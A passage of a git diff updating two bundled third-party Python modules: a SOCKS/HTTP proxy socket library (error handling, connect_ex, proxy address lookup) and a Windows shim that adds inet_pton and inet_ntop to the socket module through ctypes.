connecting to proxy + self.close() + if not catch_errors: + proxy_addr, proxy_port = proxy_addr + proxy_server = "{}:{}".format(proxy_addr, proxy_port) + printable_type = PRINTABLE_PROXY_TYPES[proxy_type] + + msg = "Error connecting to {} proxy {}".format(printable_type, + proxy_server) + log.debug("%s due to: %s", msg, error) + raise ProxyConnectionError(msg, error) else: - portnum = 8080 - _orgsocket.connect(self,(self.__proxy[1], portnum)) - self.__negotiatehttp(destpair[0], destpair[1]) - elif self.__proxy[0] == None: - _orgsocket.connect(self, (destpair[0], destpair[1])) + raise error + else: - raise GeneralProxyError((4, _generalerrors[4])) + # Connected to proxy server, now negotiate + try: + # Calls negotiate_{SOCKS4, SOCKS5, HTTP} + negotiate = self._proxy_negotiators[proxy_type] + negotiate(self, dest_addr, dest_port) + except socket.error as error: + if not catch_errors: + # Wrap socket errors + self.close() + raise GeneralProxyError("Socket error", error) + else: + raise error + except ProxyError: + # Protocol error while negotiating with proxy + self.close() + raise + + @set_self_blocking + def connect_ex(self, dest_pair): + """ https://docs.python.org/3/library/socket.html#socket.socket.connect_ex + Like connect(address), but return an error indicator instead of raising an exception for errors returned by the C-level connect() call (other problems, such as "host not found" can still raise exceptions). + """ + try: + self.connect(dest_pair, catch_errors=True) + return 0 + except OSError as e: + # If the error is numeric (socket errors are numeric), then return number as + # connect_ex expects. Otherwise raise the error again (socket timeout for example) + if e.errno: + return e.errno + else: + raise -def create_connection(address, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, - source_address=None): - # Patched for a DNS-leakage - host, port = address - sock = None - try: - sock = socksocket(socket.AF_INET, socket.SOCK_STREAM) - if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT: - sock.settimeout(timeout) - if source_address: - sock.bind(source_address) - sock.connect(address) - except socket.error: - if sock is not None: - sock.close() - raise - return sock + def _proxy_addr(self): + """ + Return proxy address to connect to as tuple object + """ + (proxy_type, proxy_addr, proxy_port, rdns, username, + password) = self.proxy + proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type) + if not proxy_port: + raise GeneralProxyError("Invalid proxy type") + return proxy_addr, proxy_port diff --git a/thirdparty/wininetpton/win_inet_pton.py b/thirdparty/wininetpton/win_inet_pton.py index 50ae621e53b..84c00721afb 100644 --- a/thirdparty/wininetpton/win_inet_pton.py +++ b/thirdparty/wininetpton/win_inet_pton.py @@ -1,85 +1,127 @@ -#!/usr/bin/env python # This software released into the public domain. Anyone is free to copy, # modify, publish, use, compile, sell, or distribute this software, # either in source code form or as a compiled binary, for any purpose, # commercial or non-commercial, and by any means. import socket -import ctypes import os +import sys -class sockaddr(ctypes.Structure): - _fields_ = [("sa_family", ctypes.c_short), - ("__pad1", ctypes.c_ushort), - ("ipv4_addr", ctypes.c_byte * 4), - ("ipv6_addr", ctypes.c_byte * 16), - ("__pad2", ctypes.c_ulong)] - -if hasattr(ctypes, 'windll'): - WSAStringToAddressA = ctypes.windll.ws2_32.WSAStringToAddressA - WSAAddressToStringA = ctypes.windll.ws2_32.WSAAddressToStringA -else: - def not_windows(): - raise SystemError( - "Invalid platform. ctypes.windll must be available." - ) - WSAStringToAddressA = not_windows - WSAAddressToStringA = not_windows +def inject_into_socket(): + import ctypes + class in_addr(ctypes.Structure): + _fields_ = [("S_addr", ctypes.c_ubyte * 4)] -def inet_pton(address_family, ip_string): - addr = sockaddr() - addr.sa_family = address_family - addr_size = ctypes.c_int(ctypes.sizeof(addr)) + class in6_addr(ctypes.Structure): + _fields_ = [("Byte", ctypes.c_ubyte * 16)] - if WSAStringToAddressA( - ip_string, - address_family, - None, - ctypes.byref(addr), - ctypes.byref(addr_size) - ) != 0: - raise socket.error(ctypes.FormatError()) - - if address_family == socket.AF_INET: - return ctypes.string_at(addr.ipv4_addr, 4) - if address_family == socket.AF_INET6: - return ctypes.string_at(addr.ipv6_addr, 16) - - raise socket.error('unknown address family') - - -def inet_ntop(address_family, packed_ip): - addr = sockaddr() - addr.sa_family = address_family - addr_size = ctypes.c_int(ctypes.sizeof(addr)) - ip_string = ctypes.create_string_buffer(128) - ip_string_size = ctypes.c_int(ctypes.sizeof(ip_string)) - - if address_family == socket.AF_INET: - if len(packed_ip) != ctypes.sizeof(addr.ipv4_addr): - raise socket.error('packed IP wrong length for inet_ntoa') - ctypes.memmove(addr.ipv4_addr, packed_ip, 4) - elif address_family == socket.AF_INET6: - if len(packed_ip) != ctypes.sizeof(addr.ipv6_addr): - raise socket.error('packed IP wrong length for inet_ntoa') - ctypes.memmove(addr.ipv6_addr, packed_ip, 16) + if hasattr(ctypes, "windll"): + # InetNtopW( + # INT family, + # const VOID *pAddr, + # PWSTR pStringBuf, + # size_t StringBufSize + # ) -> PCWSTR + InetNtopW = ctypes.windll.ws2_32.InetNtopW + + # InetPtonW( + # INT family, + # PCWSTR pszAddrString, + # PVOID pAddrBuf + # ) -> INT + InetPtonW = ctypes.windll.ws2_32.InetPtonW + + # WSAGetLastError() -> INT + WSAGetLastError = ctypes.windll.ws2_32.WSAGetLastError else: - raise socket.error('unknown address family') - if WSAAddressToStringA( + def not_windows(): + raise SystemError("Invalid platform. ctypes.windll must be available.") + + InetNtopW = not_windows + InetPtonW = not_windows + WSAGetLastError = not_windows + + def inet_pton(address_family, ip_string): + if sys.version_info[0] > 2 and isinstance(ip_string, bytes): + raise TypeError("inet_pton() argument 2 must be str, not bytes") + + if address_family == socket.AF_INET: + family = 2 + addr = in_addr() + elif address_family == socket.AF_INET6: + family = 23 + addr = in6_addr() + else: + raise OSError("unknown address family") + + ip_string = ctypes.c_wchar_p(ip_string) + ret = InetPtonW(ctypes.c_int(family), ip_string, ctypes.byref(addr)) + + if ret == 1: + if address_family == socket.AF_INET: + return ctypes.string_at(addr.S_addr, 4) + else: + return ctypes.string_at(addr.Byte, 16) + elif ret == 0: + raise socket.error("illegal IP address string passed to inet_pton") + else: + err = WSAGetLastError() + if err == 10047: + e = socket.error("unknown address family") + elif err == 10014: + e = OSError("bad address") + else: + e = OSError("unknown error from inet_ntop") + e.errno = err + raise e + + def inet_ntop(address_family, packed_ip): + if address_family == socket.AF_INET: + addr = in_addr() + if len(packed_ip) != ctypes.sizeof(addr.S_addr): + raise ValueError("packed IP wrong length for inet_ntop") + + ctypes.memmove(addr.S_addr, packed_ip, 4) + buffer_len = 16 + family = 2 + + elif address_family == socket.AF_INET6: + addr = in6_addr() + if len(packed_ip) != ctypes.sizeof(addr.Byte): + raise ValueError("packed IP wrong length for inet_ntop") + + ctypes.memmove(addr.Byte, packed_ip, 16) + buffer_len = 46 + family = 23 + else: + raise ValueError("unknown address family") + + buffer = ctypes.create_unicode_buffer(buffer_len) + + ret = InetNtopW( + ctypes.c_int(family), ctypes.byref(addr), - addr_size, - None, - ip_string, - ctypes.byref(ip_string_size) - ) != 0: - raise socket.error(ctypes.FormatError()) + ctypes.byref(buffer), + buffer_len, + ) + if ret is None: + err = WSAGetLastError() + if err == 10047: + e = ValueError("unknown address family") + else: + e = OSError("unknown error from inet_ntop") + e.errno = err + raise e - return ip_string[:ip_string_size.value - 1] + return ctypes.wstring_at(buffer, buffer_len).rstrip("\x00") -# Adding our two functions to the socket library -if os.name == 'nt': + # Adding our two functions to the socket library socket.inet_pton = inet_pton socket.inet_ntop = inet_ntop + + +if os.name == "nt" and not hasattr(socket, "inet_pton"): + inject_into_socket()